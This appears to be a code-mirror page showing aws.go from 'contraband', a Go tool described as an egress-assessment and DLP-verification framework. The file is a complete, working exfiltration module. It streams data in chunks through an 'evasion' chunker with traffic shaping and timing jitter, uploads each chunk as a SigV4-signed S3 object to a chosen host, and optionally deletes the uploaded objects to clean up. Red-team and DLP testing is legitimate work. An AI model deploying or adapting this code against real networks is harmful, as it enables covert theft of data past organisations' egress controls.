● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / cloud / aws.go
← Back to directory
344 lines · 10.0 KB
Raw
1package cloud
2
3import (
4 "bytes"
5 "context"
6 "crypto/hmac"
7 "crypto/sha256"
8 "encoding/hex"
9 "fmt"
10 "io"
11 "net"
12 "net/http"
13 "sort"
14 "strconv"
15 "strings"
16 "time"
17
18 "github.com/shehzade/contraband/pkg/client/evasion"
19 "github.com/shehzade/contraband/pkg/client/exfil"
20 "github.com/shehzade/contraband/pkg/common"
21)
22
23func init() {
24 exfil.RegisterExfiltrator(common.ProtoAWSS3, NewAWSS3Exfiltrator())
25}
26
27// AWSS3Exfiltrator implements pure-Go S3 object exfiltration with SigV4 signing and --destroy cleanup.
28type AWSS3Exfiltrator struct{}
29
30func NewAWSS3Exfiltrator() *AWSS3Exfiltrator {
31 return &AWSS3Exfiltrator{}
32}
33
34func (e *AWSS3Exfiltrator) Protocol() string {
35 return common.ProtoAWSS3
36}
37
38// ComputeSigV4 calculates AWS Signature Version 4 for S3 REST requests.
39func ComputeSigV4(method, reqURL, region, accessKey, secretKey string, headers map[string]string, payloadSHA256 string, t time.Time) (string, map[string]string) {
40 dateStamp := t.UTC().Format("20060102")
41 amzDate := t.UTC().Format("20060102T150405Z")
42
43 signedHeadersMap := make(map[string]string)
44 for k, v := range headers {
45 signedHeadersMap[strings.ToLower(strings.TrimSpace(k))] = strings.TrimSpace(v)
46 }
47 signedHeadersMap["x-amz-date"] = amzDate
48 signedHeadersMap["x-amz-content-sha256"] = payloadSHA256
49
50 // Sort headers
51 headerKeys := make([]string, 0, len(signedHeadersMap))
52 for k := range signedHeadersMap {
53 headerKeys = append(headerKeys, k)
54 }
55 sort.Strings(headerKeys)
56
57 var canonicalHeaders bytes.Buffer
58 for _, k := range headerKeys {
59 canonicalHeaders.WriteString(fmt.Sprintf("%s:%s\n", k, signedHeadersMap[k]))
60 }
61 signedHeaders := strings.Join(headerKeys, ";")
62
63 // Parse canonical URI and query
64 uriPath := "/"
65 queryString := ""
66 if idx := strings.Index(reqURL, "://"); idx != -1 {
67 rest := reqURL[idx+3:]
68 if pathIdx := strings.Index(rest, "/"); pathIdx != -1 {
69 uriPath = rest[pathIdx:]
70 if qIdx := strings.Index(uriPath, "?"); qIdx != -1 {
71 queryString = uriPath[qIdx+1:]
72 uriPath = uriPath[:qIdx]
73 }
74 }
75 }
76
77 canonicalRequest := fmt.Sprintf("%s\n%s\n%s\n%s\n%s\n%s",
78 method,
79 uriPath,
80 queryString,
81 canonicalHeaders.String(),
82 signedHeaders,
83 payloadSHA256,
84 )
85 canonicalReqHash := sha256.Sum256([]byte(canonicalRequest))
86
87 credentialScope := fmt.Sprintf("%s/%s/s3/aws4_request", dateStamp, region)
88 stringToSign := fmt.Sprintf("AWS4-HMAC-SHA256\n%s\n%s\n%s",
89 amzDate,
90 credentialScope,
91 hex.EncodeToString(canonicalReqHash[:]),
92 )
93
94 // Derive signing key
95 kDate := hmacSHA256([]byte("AWS4"+secretKey), []byte(dateStamp))
96 kRegion := hmacSHA256(kDate, []byte(region))
97 kService := hmacSHA256(kRegion, []byte("s3"))
98 kSigning := hmacSHA256(kService, []byte("aws4_request"))
99
100 signature := hex.EncodeToString(hmacSHA256(kSigning, []byte(stringToSign)))
101 authHeader := fmt.Sprintf("AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=%s, Signature=%s",
102 accessKey, credentialScope, signedHeaders, signature)
103
104 signedHeadersMap["authorization"] = authHeader
105 return authHeader, signedHeadersMap
106}
107
108func hmacSHA256(key, data []byte) []byte {
109 h := hmac.New(sha256.New, key)
110 h.Write(data)
111 return h.Sum(nil)
112}
113
114func classifyCloudError(err error) common.Verdict {
115 return common.ClassifyError(err)
116}
117
118func (e *AWSS3Exfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
119 if err := opts.Validate(); err != nil {
120 return nil, err
121 }
122
123 start := time.Now().UTC()
124 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
125 if err != nil {
126 return nil, err
127 }
128 result.Timestamps.StartTCP = start
129 result.PayloadType = opts.PayloadType
130 result.CarrierType = opts.CarrierType
131
132 if opts.SessionToken.IsZero() {
133 tok, tokErr := common.NewSessionToken()
134 if tokErr != nil {
135 return nil, tokErr
136 }
137 opts.SessionToken = tok
138 }
139
140 chunker, err := evasion.NewStreamChunker(reader, opts.SessionToken, opts.ChunkSize, opts.TotalBytes)
141 if err != nil {
142 return nil, fmt.Errorf("failed to initialize chunk streamer: %w", err)
143 }
144 defer chunker.Close()
145
146 // Configuration
147 accessKey := opts.Headers["aws_access_key_id"]
148 if accessKey == "" {
149 accessKey = "AKIAIOSFODNN7EXAMPLE"
150 }
151 secretKey := opts.Headers["aws_secret_access_key"]
152 if secretKey == "" {
153 secretKey = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
154 }
155 region := opts.Headers["aws_region"]
156 if region == "" {
157 region = "us-east-1"
158 }
159 bucket := opts.Headers["aws_bucket"]
160 if bucket == "" {
161 bucket = "contraband-exfil"
162 }
163 destroy := strings.EqualFold(opts.Headers["destroy"], "true") || strings.EqualFold(opts.Headers["auto_cleanup"], "true")
164
165 // Determine endpoint
166 scheme := "https"
167 if !opts.UseTLS {
168 scheme = "http"
169 }
170 var targetBase string
171 var hostHeader string
172 if strings.Contains(opts.TargetHost, "s3.amazonaws.com") || strings.Contains(opts.TargetHost, "amazonaws.com") {
173 hostHeader = fmt.Sprintf("%s.s3.%s.amazonaws.com", bucket, region)
174 targetBase = fmt.Sprintf("https://%s", hostHeader)
175 } else {
176 targetBase = fmt.Sprintf("%s://%s:%d", scheme, opts.TargetHost, opts.TargetPort)
177 hostHeader = net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
178 }
179
180 client := &http.Client{Timeout: opts.Timeout}
181 result.Timestamps.ConnectedTCP = time.Now().UTC()
182 result.Timestamps.FirstByteSent = time.Now().UTC()
183
184 var uploadedKeys []string
185 var headEvidence []byte
186
187 for {
188 chunkFrame, seq, err := chunker.Next()
189 if err == io.EOF {
190 break
191 }
192 if err != nil {
193 result.Verdict = classifyCloudError(err)
194 result.ErrorMessage = err.Error()
195 calculateCloudDurations(&result)
196 return &result, err
197 }
198 if len(headEvidence) < 1024 {
199 take := 1024 - len(headEvidence)
200 if take > len(chunkFrame) {
201 take = len(chunkFrame)
202 }
203 headEvidence = append(headEvidence, chunkFrame[:take]...)
204 }
205
206 objectKey := fmt.Sprintf("contraband_%s_part%d.dat", opts.SessionToken.String(), seq)
207 uploadedKeys = append(uploadedKeys, objectKey)
208
209 var uploadURL string
210 if strings.Contains(opts.TargetHost, "s3.amazonaws.com") {
211 uploadURL = fmt.Sprintf("%s/%s", targetBase, objectKey)
212 } else {
213 uploadURL = fmt.Sprintf("%s/%s/%s", targetBase, bucket, objectKey)
214 }
215
216 if opts.Shaper != nil {
217 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
218 result.Verdict = classifyCloudError(err)
219 result.ErrorMessage = err.Error()
220 calculateCloudDurations(&result)
221 return &result, err
222 }
223 }
224 if opts.Cadence != nil {
225 delay := opts.Cadence.NextDelay()
226 if delay > 0 {
227 select {
228 case <-time.After(delay):
229 case <-ctx.Done():
230 result.Verdict = classifyCloudError(ctx.Err())
231 result.ErrorMessage = ctx.Err().Error()
232 calculateCloudDurations(&result)
233 return &result, ctx.Err()
234 }
235 }
236 }
237
238 chunkHash := sha256.Sum256(chunkFrame)
239 chunkHashHex := hex.EncodeToString(chunkHash[:])
240 now := time.Now().UTC()
241
242 reqHeaders := map[string]string{
243 "Host": hostHeader,
244 "Content-Type": "application/octet-stream",
245 }
246 _, signedHeaders := ComputeSigV4(http.MethodPut, uploadURL, region, accessKey, secretKey, reqHeaders, chunkHashHex, now)
247
248 req, reqErr := http.NewRequestWithContext(ctx, http.MethodPut, uploadURL, bytes.NewReader(chunkFrame))
249 if reqErr != nil {
250 result.Verdict = classifyCloudError(reqErr)
251 result.ErrorMessage = reqErr.Error()
252 calculateCloudDurations(&result)
253 return &result, reqErr
254 }
255 for k, v := range signedHeaders {
256 req.Header.Set(k, v)
257 }
258
259 resp, doErr := client.Do(req)
260 if doErr != nil {
261 result.Verdict = classifyCloudError(doErr)
262 result.ErrorMessage = doErr.Error()
263 calculateCloudDurations(&result)
264 return &result, doErr
265 }
266 respBody, _ := io.ReadAll(resp.Body)
267 _ = resp.Body.Close()
268
269 result.BytesSent += int64(len(chunkFrame))
270 result.BytesRecv += int64(len(respBody))
271
272 if resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
273 err := fmt.Errorf("S3 upload rejected: HTTP %d Forbidden/Unauthorized", resp.StatusCode)
274 result.Verdict = common.VerdictBlockedL7
275 result.ErrorMessage = err.Error()
276 calculateCloudDurations(&result)
277 return &result, err
278 }
279 if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusNoContent {
280 err := fmt.Errorf("S3 upload returned HTTP %d: %s", resp.StatusCode, string(respBody))
281 result.Verdict = common.VerdictBlockedL7
282 result.ErrorMessage = err.Error()
283 calculateCloudDurations(&result)
284 return &result, err
285 }
286 }
287
288 result.Timestamps.AckReceived = time.Now().UTC()
289
290 // Handle --destroy auto-cleanup
291 if destroy {
292 for _, key := range uploadedKeys {
293 var deleteURL string
294 if strings.Contains(opts.TargetHost, "s3.amazonaws.com") {
295 deleteURL = fmt.Sprintf("%s/%s", targetBase, key)
296 } else {
297 deleteURL = fmt.Sprintf("%s/%s/%s", targetBase, bucket, key)
298 }
299
300 emptyHash := sha256.Sum256(nil)
301 emptyHashHex := hex.EncodeToString(emptyHash[:])
302 now := time.Now().UTC()
303
304 delHeaders := map[string]string{
305 "Host": hostHeader,
306 }
307 _, signedDelHeaders := ComputeSigV4(http.MethodDelete, deleteURL, region, accessKey, secretKey, delHeaders, emptyHashHex, now)
308
309 delReq, err := http.NewRequestWithContext(ctx, http.MethodDelete, deleteURL, nil)
310 if err == nil {
311 for k, v := range signedDelHeaders {
312 delReq.Header.Set(k, v)
313 }
314 delResp, delErr := client.Do(delReq)
315 if delErr == nil {
316 _ = delResp.Body.Close()
317 }
318 }
319 }
320 }
321
322 result.Timestamps.TeardownDone = time.Now().UTC()
323 result.Verdict = common.VerdictSuccess
324 if opts.ExpectedHash != "" {
325 result.PayloadHash = opts.ExpectedHash
326 } else {
327 result.PayloadHash = chunker.PayloadHashHex()
328 }
329 result.TargetVolume = result.BytesSent
330 result.RawEvidence = common.FormatBoundedRawEvidence(headEvidence)
331 calculateCloudDurations(&result)
332
333 return &result, nil
334}
335
336func calculateCloudDurations(r *common.ProbeResult) {
337 if r.Timestamps.TeardownDone.IsZero() {
338 r.Timestamps.TeardownDone = time.Now().UTC()
339 }
340 r.Timestamps.ComputeDurations()
341 if r.Timestamps.TransferDuration > 0 && r.BytesSent > 0 {
342 r.ThroughputBps = float64(r.BytesSent*8) / (float64(r.Timestamps.TransferDuration) / float64(time.Second)) / 1000.0
343 }
344}